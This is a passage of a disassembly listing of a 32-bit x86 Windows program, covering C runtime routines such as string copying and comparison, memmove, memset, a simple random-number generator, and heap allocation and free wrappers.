mov cl, [ecx]
cmp cl, dl
jnz short loc_40AF41
loc_40AF57: ; CODE XREF: sub_40AECF+75j
; sub_40AECF+79j
cmp [eax], bl
jz short loc_40AF6C
push eax
push dword ptr [esi]
call sub_40ADA7
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40AF71
; ---------------------------------------------------------------------------
loc_40AF6C: ; CODE XREF: sub_40AECF+8Aj
mov [ebp+var_4], ebx
xor eax, eax
loc_40AF71: ; CODE XREF: sub_40AECF+9Bj
cmp eax, ebx
jnz short loc_40AF3B
loc_40AF75: ; CODE XREF: sub_40AECF+6Aj
mov eax, [edi]
cmp [eax], bl
jnz short loc_40AF88
mov eax, [esi]
cmp [eax], bl
jnz short loc_40AF88
mov [ebp+var_4], 1
loc_40AF88: ; CODE XREF: sub_40AECF+AAj
; sub_40AECF+B0j
mov eax, [ebp+var_4]
loc_40AF8B: ; CODE XREF: sub_40AECF+50j
; sub_40AECF+5Dj
pop edi
pop esi
pop ebx
leave
retn
sub_40AECF endp
; =============== S U B R O U T I N E =======================================
sub_40AF90 proc near ; CODE XREF: sub_401000+5Cp
; sub_401000+9Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz loc_40B044
mov edi, [esp+4+arg_0]
push esi
test edi, 3
push ebx
jz short loc_40AFBA
loc_40AFAB: ; CODE XREF: sub_40AF90+28j
mov al, [edi]
inc edi
test al, al
jz short loc_40AFEB
test edi, 3
jnz short loc_40AFAB
loc_40AFBA: ; CODE XREF: sub_40AF90+19j
; sub_40AF90+40j ...
mov eax, [edi]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add edi, 4
test eax, 81010100h
jz short loc_40AFBA
mov eax, [edi-4]
test al, al
jz short loc_40AFF8
test ah, ah
jz short loc_40AFF3
test eax, 0FF0000h
jz short loc_40AFEE
test eax, 0FF000000h
jnz short loc_40AFBA
loc_40AFEB: ; CODE XREF: sub_40AF90+20j
dec edi
jmp short loc_40AFFB
; ---------------------------------------------------------------------------
loc_40AFEE: ; CODE XREF: sub_40AF90+52j
sub edi, 2
jmp short loc_40AFFB
; ---------------------------------------------------------------------------
loc_40AFF3: ; CODE XREF: sub_40AF90+4Bj
sub edi, 3
jmp short loc_40AFFB
; ---------------------------------------------------------------------------
loc_40AFF8: ; CODE XREF: sub_40AF90+47j
sub edi, 4
loc_40AFFB: ; CODE XREF: sub_40AF90+5Cj
; sub_40AF90+61j ...
mov esi, [esp+0Ch+arg_4]
test esi, 3
jnz short loc_40B010
mov ebx, ecx
shr ecx, 2
jnz short loc_40B05C
jmp short loc_40B02C
; ---------------------------------------------------------------------------
loc_40B010: ; CODE XREF: sub_40AF90+75j
; sub_40AF90+93j
mov dl, [esi]
inc esi
test dl, dl
jz short loc_40B04A
mov [edi], dl
inc edi
dec ecx
jz short loc_40B040
test esi, 3
jnz short loc_40B010
mov ebx, ecx
shr ecx, 2
jnz short loc_40B05C
loc_40B02C: ; CODE XREF: sub_40AF90+7Ej
; sub_40AF90+CAj
mov ecx, ebx
and ecx, 3
jz short loc_40B040
loc_40B033: ; CODE XREF: sub_40AF90+AEj
mov dl, [esi]
inc esi
mov [edi], dl
inc edi
test dl, dl
jz short loc_40B042
dec ecx
jnz short loc_40B033
loc_40B040: ; CODE XREF: sub_40AF90+8Bj
; sub_40AF90+A1j
mov [edi], cl
loc_40B042: ; CODE XREF: sub_40AF90+ABj
pop ebx
pop esi
loc_40B044: ; CODE XREF: sub_40AF90+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_40B04A: ; CODE XREF: sub_40AF90+85j
; sub_40AF90+E8j
mov [edi], dl
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_40B054: ; CODE XREF: sub_40AF90+E4j
; sub_40AF90+FCj
mov [edi], edx
add edi, 4
dec ecx
jz short loc_40B02C
loc_40B05C: ; CODE XREF: sub_40AF90+7Cj
; sub_40AF90+9Aj
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_40B054
test dl, dl
jz short loc_40B04A
test dh, dh
jz short loc_40B0A8
test edx, 0FF0000h
jz short loc_40B098
test edx, 0FF000000h
jnz short loc_40B054
mov [edi], edx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_40B098: ; CODE XREF: sub_40AF90+F4j
mov [edi], dx
xor edx, edx
mov eax, [esp+0Ch+arg_0]
mov [edi+2], dl
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_40B0A8: ; CODE XREF: sub_40AF90+ECj
mov [edi], dx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_40AF90 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B0B3 proc near ; CODE XREF: sub_401000+19p
; sub_401000+48p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
lea eax, [ebp+arg_8]
mov [ebp+var_14], 42h
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
mov [ebp+var_1C], 7FFFFFFFh
push eax
call sub_40D768
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_40B0F3
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_40B100
; ---------------------------------------------------------------------------
loc_40B0F3: ; CODE XREF: sub_40B0B3+36j
lea eax, [ebp+var_20]
push eax
push 0
call sub_40D653
pop ecx
pop ecx
loc_40B100: ; CODE XREF: sub_40B0B3+3Ej
mov eax, esi
pop esi
leave
retn
sub_40B0B3 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40B110 proc near ; CODE XREF: sub_401141+6Ep
; sub_401141+9Fp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz short loc_40B193
push esi
push ebx
mov ebx, ecx
mov esi, [esp+0Ch+arg_4]
test esi, 3
mov edi, [esp+0Ch+arg_0]
jnz short loc_40B134
shr ecx, 2
jnz short loc_40B1A1
jmp short loc_40B155
; ---------------------------------------------------------------------------
loc_40B134: ; CODE XREF: sub_40B110+1Bj
; sub_40B110+37j
mov al, [esi]
inc esi
mov [edi], al
inc edi
dec ecx
jz short loc_40B162
test al, al
jz short loc_40B16A
test esi, 3
jnz short loc_40B134
mov ebx, ecx
shr ecx, 2
jnz short loc_40B1A1
loc_40B150: ; CODE XREF: sub_40B110+8Fj
and ebx, 3
jz short loc_40B162
loc_40B155: ; CODE XREF: sub_40B110+22j
; sub_40B110+50j
mov al, [esi]
inc esi
mov [edi], al
inc edi
test al, al
jz short loc_40B18E
dec ebx
jnz short loc_40B155
loc_40B162: ; CODE XREF: sub_40B110+2Bj
; sub_40B110+43j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_40B16A: ; CODE XREF: sub_40B110+2Fj
test edi, 3
jz short loc_40B184
loc_40B172: ; CODE XREF: sub_40B110+72j
mov [edi], al
inc edi
dec ecx
jz loc_40B206
test edi, 3
jnz short loc_40B172
loc_40B184: ; CODE XREF: sub_40B110+60j
mov ebx, ecx
shr ecx, 2
jnz short loc_40B1F7
loc_40B18B: ; CODE XREF: sub_40B110+7Fj
; sub_40B110+F4j
mov [edi], al
inc edi
loc_40B18E: ; CODE XREF: sub_40B110+4Dj
dec ebx
jnz short loc_40B18B
pop ebx
pop esi
loc_40B193: ; CODE XREF: sub_40B110+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_40B199: ; CODE XREF: sub_40B110+A9j
; sub_40B110+C1j
mov [edi], edx
add edi, 4
dec ecx
jz short loc_40B150
loc_40B1A1: ; CODE XREF: sub_40B110+20j
; sub_40B110+3Ej
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_40B199
test dl, dl
jz short loc_40B1EB
test dh, dh
jz short loc_40B1E1
test edx, 0FF0000h
jz short loc_40B1D7
test edx, 0FF000000h
jnz short loc_40B199
mov [edi], edx
jmp short loc_40B1EF
; ---------------------------------------------------------------------------
loc_40B1D7: ; CODE XREF: sub_40B110+B9j
and edx, 0FFFFh
mov [edi], edx
jmp short loc_40B1EF
; ---------------------------------------------------------------------------
loc_40B1E1: ; CODE XREF: sub_40B110+B1j
and edx, 0FFh
mov [edi], edx
jmp short loc_40B1EF
; ---------------------------------------------------------------------------
loc_40B1EB: ; CODE XREF: sub_40B110+ADj
xor edx, edx
mov [edi], edx
loc_40B1EF: ; CODE XREF: sub_40B110+C5j
; sub_40B110+CFj ...
add edi, 4
xor eax, eax
dec ecx
jz short loc_40B201
loc_40B1F7: ; CODE XREF: sub_40B110+79j
xor eax, eax
loc_40B1F9: ; CODE XREF: sub_40B110+EFj
mov [edi], eax
add edi, 4
dec ecx
jnz short loc_40B1F9
loc_40B201: ; CODE XREF: sub_40B110+E5j
and ebx, 3
jnz short loc_40B18B
loc_40B206: ; CODE XREF: sub_40B110+66j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_40B110 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B210 proc near ; CODE XREF: sub_4013CA+15p
; sub_4013CA+3Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_40B230
cmp edi, eax
jb loc_40B3A8
loc_40B230: ; CODE XREF: sub_40B210+16j
test edi, 3
jnz short loc_40B24C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_40B26C
rep movsd
jmp off_40B358[edx*4]
; ---------------------------------------------------------------------------
loc_40B24C: ; CODE XREF: sub_40B210+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_40B264
and eax, 3
add ecx, eax
jmp dword ptr loc_40B26C+4[eax*4]
; ---------------------------------------------------------------------------
loc_40B264: ; CODE XREF: sub_40B210+46j
jmp dword ptr loc_40B368[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_40B26C: ; CODE XREF: sub_40B210+31j
; sub_40B210+8Ej ...
jmp off_40B2EC[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_40B27C+4
dd offset loc_40B2AC
; ---------------------------------------------------------------------------
loc_40B27C: ; DATA XREF: sub_40B210+64o
sal byte ptr [edx-2EDCFFC0h], 1
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_40B26C
rep movsd
jmp off_40B358[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_40B2AC: ; DATA XREF: sub_40B210+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_40B26C
rep movsd
jmp off_40B358[edx*4]
; ---------------------------------------------------------------------------
align 10h
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_40B26C
rep movsd
jmp off_40B358[edx*4]
; ---------------------------------------------------------------------------
align 4
off_40B2EC dd offset loc_40B34F ; DATA XREF: sub_40B210:loc_40B26Cr
dd offset loc_40B33C
dd offset loc_40B334
dd offset loc_40B32C
dd offset loc_40B324
dd offset loc_40B31C
dd offset loc_40B314
dd offset loc_40B30C
; ---------------------------------------------------------------------------
loc_40B30C: ; CODE XREF: sub_40B210:loc_40B26Cj
; DATA XREF: sub_40B210+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_40B314: ; CODE XREF: sub_40B210:loc_40B26Cj
; DATA XREF: sub_40B210+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_40B31C: ; CODE XREF: sub_40B210:loc_40B26Cj
; DATA XREF: sub_40B210+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_40B324: ; CODE XREF: sub_40B210:loc_40B26Cj
; DATA XREF: sub_40B210+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_40B32C: ; CODE XREF: sub_40B210:loc_40B26Cj
; DATA XREF: sub_40B210+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_40B334: ; CODE XREF: sub_40B210:loc_40B26Cj
; DATA XREF: sub_40B210+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_40B33C: ; CODE XREF: sub_40B210:loc_40B26Cj
; DATA XREF: sub_40B210+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_40B34F: ; CODE XREF: sub_40B210:loc_40B26Cj
; DATA XREF: sub_40B210:off_40B2ECo
jmp off_40B358[edx*4]
; ---------------------------------------------------------------------------
align 4
off_40B358 dd offset loc_40B368 ; DATA XREF: sub_40B210+35r
; sub_40B210+92r ...
dd offset loc_40B370
dd offset loc_40B37C
dd offset loc_40B390
; ---------------------------------------------------------------------------
loc_40B368: ; CODE XREF: sub_40B210+35j
; sub_40B210+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_40B370: ; CODE XREF: sub_40B210+35j
; sub_40B210+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_40B37C: ; CODE XREF: sub_40B210+35j
; sub_40B210+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_40B390: ; CODE XREF: sub_40B210+35j
; sub_40B210+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_40B3A8: ; CODE XREF: sub_40B210+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_40B3DC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_40B3D0
std
rep movsd
cld
jmp off_40B4F0[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_40B3D0: ; CODE XREF: sub_40B210+1B1j
; sub_40B210+208j ...
neg ecx
jmp off_40B4A0[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_40B3DC: ; CODE XREF: sub_40B210+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_40B3F4
and eax, 3
sub ecx, eax
jmp dword ptr loc_40B3F4+4[eax*4]
; ---------------------------------------------------------------------------
loc_40B3F4: ; CODE XREF: sub_40B210+1D6j
; DATA XREF: sub_40B210+1DDr
jmp off_40B4F0[ecx*4]
; ---------------------------------------------------------------------------
align 4
or [eax+eax*2+40B42800h], dh
add [eax-4Ch], dl
inc eax
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_40B3D0
std
rep movsd
cld
jmp off_40B4F0[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_40B3D0
std
rep movsd
cld
jmp off_40B4F0[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_40B3D0
std
rep movsd
cld
jmp off_40B4F0[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_40B4A4
dd offset loc_40B4AC
dd offset loc_40B4B4
dd offset loc_40B4BC
dd offset loc_40B4C4
dd offset loc_40B4CC
dd offset loc_40B4D4
off_40B4A0 dd offset loc_40B4E7 ; DATA XREF: sub_40B210+1C2r
; ---------------------------------------------------------------------------
loc_40B4A4: ; DATA XREF: sub_40B210+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_40B4AC: ; DATA XREF: sub_40B210+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_40B4B4: ; DATA XREF: sub_40B210+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_40B4BC: ; DATA XREF: sub_40B210+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_40B4C4: ; DATA XREF: sub_40B210+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_40B4CC: ; DATA XREF: sub_40B210+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_40B4D4: ; DATA XREF: sub_40B210+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_40B4E7: ; CODE XREF: sub_40B210+1C2j
; DATA XREF: sub_40B210:off_40B4A0o
jmp off_40B4F0[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_40B4F0 dd offset loc_40B500 ; DATA XREF: sub_40B210+1B7r
; sub_40B210:loc_40B3F4r ...
dd offset loc_40B508
dd offset loc_40B518
dd offset loc_40B52C
; ---------------------------------------------------------------------------
loc_40B500: ; CODE XREF: sub_40B210+1B7j
; sub_40B210:loc_40B3F4j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_40B508: ; CODE XREF: sub_40B210+1B7j
; sub_40B210:loc_40B3F4j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_40B518: ; CODE XREF: sub_40B210+1B7j
; sub_40B210:loc_40B3F4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_40B52C: ; CODE XREF: sub_40B210+1B7j
; sub_40B210:loc_40B3F4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_40B210 endp
; =============== S U B R O U T I N E =======================================
sub_40B545 proc near ; CODE XREF: sub_40154B+33p
; sub_403E11+54p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_41DBB0, eax
retn
sub_40B545 endp
; =============== S U B R O U T I N E =======================================
sub_40B54F proc near ; CODE XREF: sub_401412+4Dp
; sub_401412+5Ap ...
mov eax, dword_41DBB0
imul eax, 343FDh
add eax, 269EC3h
mov dword_41DBB0, eax
sar eax, 10h
and eax, 7FFFh
retn
sub_40B54F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B56D proc near ; CODE XREF: sub_401412+40p
; sub_403E11+24Cp ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
mov [ebp+var_14], 49h
push eax
mov [ebp+var_18], eax
mov [ebp+var_20], eax
call sub_40B5B0
mov [ebp+var_1C], eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
push eax
call sub_40DF72
add esp, 10h
leave
retn
sub_40B56D endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40B5B0 proc near ; CODE XREF: sub_401412+19p
; sub_401B3F+7p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test ecx, 3
jz short loc_40B5D0
loc_40B5BC: ; CODE XREF: sub_40B5B0+19j
mov al, [ecx]
inc ecx
test al, al
jz short loc_40B603
test ecx, 3
jnz short loc_40B5BC
add eax, 0
loc_40B5D0: ; CODE XREF: sub_40B5B0+Aj
; sub_40B5B0+36j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_40B5D0
mov eax, [ecx-4]
test al, al
jz short loc_40B621
test ah, ah
jz short loc_40B617
test eax, 0FF0000h
jz short loc_40B60D
test eax, 0FF000000h
jz short loc_40B603
jmp short loc_40B5D0
; ---------------------------------------------------------------------------
loc_40B603: ; CODE XREF: sub_40B5B0+11j
; sub_40B5B0+4Fj
lea eax, [ecx-1]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_40B60D: ; CODE XREF: sub_40B5B0+48j
lea eax, [ecx-2]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_40B617: ; CODE XREF: sub_40B5B0+41j
lea eax, [ecx-3]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_40B621: ; CODE XREF: sub_40B5B0+3Dj
lea eax, [ecx-4]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
sub_40B5B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40B630 proc near ; CODE XREF: sub_401965+1Ap
; sub_40199F+22p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
test edx, edx
jz short loc_40B683
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_40B677
neg ecx
and ecx, 3
jz short loc_40B659
sub edx, ecx
loc_40B653: ; CODE XREF: sub_40B630+27j
mov [edi], al
inc edi
dec ecx
jnz short loc_40B653
loc_40B659: ; CODE XREF: sub_40B630+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_40B677
rep stosd
test edx, edx
jz short loc_40B67D
loc_40B677: ; CODE XREF: sub_40B630+18j
; sub_40B630+3Fj ...
mov [edi], al
inc edi
dec edx
jnz short loc_40B677
loc_40B67D: ; CODE XREF: sub_40B630+45j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_40B683: ; CODE XREF: sub_40B630+Aj
mov eax, [esp+arg_0]
retn
sub_40B630 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40B690 proc near ; CODE XREF: sub_402972+5p
; sub_403CA3+8p ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_40B6B0
loc_40B69C: ; CODE XREF: sub_40B690+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_40B69C
loc_40B6B0: ; CODE XREF: sub_40B690+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_40B690 endp
; =============== S U B R O U T I N E =======================================
sub_40B6BF proc near ; CODE XREF: sub_401965+Ap
; sub_40199F+12p ...
arg_0 = dword ptr 4
push dword_47F96C
push [esp+4+arg_0]
call sub_40B6D1
pop ecx
pop ecx
retn
sub_40B6BF endp
; =============== S U B R O U T I N E =======================================
sub_40B6D1 proc near ; CODE XREF: sub_40B6BF+Ap
; sub_40C185+6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFE0h
ja short loc_40B6FA
loc_40B6D8: ; CODE XREF: sub_40B6D1+27j
push [esp+arg_0]
call sub_40B6FD
test eax, eax
pop ecx
jnz short locret_40B6FC
cmp [esp+arg_4], eax
jz short locret_40B6FC
push [esp+arg_0]
call sub_40EA23
test eax, eax
pop ecx
jnz short loc_40B6D8
loc_40B6FA: ; CODE XREF: sub_40B6D1+5j
xor eax, eax
locret_40B6FC: ; CODE XREF: sub_40B6D1+13j
; sub_40B6D1+19j
retn
sub_40B6D1 endp
; =============== S U B R O U T I N E =======================================
sub_40B6FD proc near ; CODE XREF: sub_40B6D1+Bp
arg_0 = dword ptr 4
mov eax, dword_480F88
push esi
mov esi, [esp+4+arg_0]
cmp eax, 3
jnz short loc_40B721
cmp esi, dword_480F80
ja short loc_40B753
push esi
call sub_40EFAC
test eax, eax
pop ecx
jz short loc_40B753
pop esi
retn
; ---------------------------------------------------------------------------
loc_40B721: ; CODE XREF: sub_40B6FD+Dj
cmp eax, 2
jnz short loc_40B753
mov eax, [esp+4+arg_0]
test eax, eax
jz short loc_40B736
lea esi, [eax+0Fh]
and esi, 0FFFFFFF0h
jmp short loc_40B739
; ---------------------------------------------------------------------------
loc_40B736: ; CODE XREF: sub_40B6FD+2Fj
push 10h
pop esi
loc_40B739: ; CODE XREF: sub_40B6FD+37j
cmp esi, dword_41FC34
ja short loc_40B760
mov eax, esi
shr eax, 4
push eax
call sub_40FA4F
test eax, eax
pop ecx
jnz short loc_40B76F
jmp short loc_40B760
; ---------------------------------------------------------------------------
loc_40B753: ; CODE XREF: sub_40B6FD+15j
; sub_40B6FD+20j ...
test esi, esi
jnz short loc_40B75A
push 1
pop esi
loc_40B75A: ; CODE XREF: sub_40B6FD+58j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_40B760: ; CODE XREF: sub_40B6FD+42j
; sub_40B6FD+54j
push esi
push 0
push dword_480F84
call dword_417104 ; RtlAllocateHeap
loc_40B76F: ; CODE XREF: sub_40B6FD+52j
pop esi
retn
sub_40B6FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B771 proc near ; CODE XREF: sub_4019F4+Ap
; sub_401A0D+73p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
mov esi, [ebp+arg_0]
test esi, esi
jz short loc_40B7D7
mov eax, dword_480F88
cmp eax, 3
jnz short loc_40B79D
push esi
call sub_40EC58
pop ecx
test eax, eax
push esi
jz short loc_40B7C9
push eax
call sub_40EC83
pop ecx
pop ecx
jmp short loc_40B7D7
; ---------------------------------------------------------------------------
loc_40B79D: ; CODE XREF: sub_40B771+14j
cmp eax, 2
jnz short loc_40B7C8
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_4]
push eax
push esi
call sub_40F9B3
add esp, 0Ch
test eax, eax
jz short loc_40B7C8
push eax
push [ebp+arg_0]
push [ebp+var_4]
call sub_40FA0A
add esp, 0Ch
jmp short loc_40B7D7
; ---------------------------------------------------------------------------
loc_40B7C8: ; CODE XREF: sub_40B771+2Fj
; sub_40B771+44j
push esi
loc_40B7C9: ; CODE XREF: sub_40B771+20j
push 0
push dword_480F84
call dword_417108 ; RtlFreeHeap
loc_40B7D7: ; CODE XREF: sub_40B771+Aj
; sub_40B771+2Aj ...
pop esi
leave
retn
sub_40B771 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40B7DA(double)
sub_40B7DA proc near ; CODE XREF: sub_402112+38p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_41DBC0
call sub_41064C
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_40B860
call sub_410514
pop ecx
test eax, eax
pop ecx
jle short loc_40B843
cmp eax, 2
jle short loc_40B835
cmp eax, 3
jnz short loc_40B843
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Bh ; double
call sub_40FE24
add esp, 10h
jmp short loc_40B8A5
; ---------------------------------------------------------------------------
loc_40B835: ; CODE XREF: sub_40B7DA+3Fj
push esi
push ebx
call sub_41064C
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_40B8A5
; ---------------------------------------------------------------------------
loc_40B843: ; CODE XREF: sub_40B7DA+3Aj
; sub_40B7DA+44j
fld [ebp+arg_0]
fadd dbl_417630
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
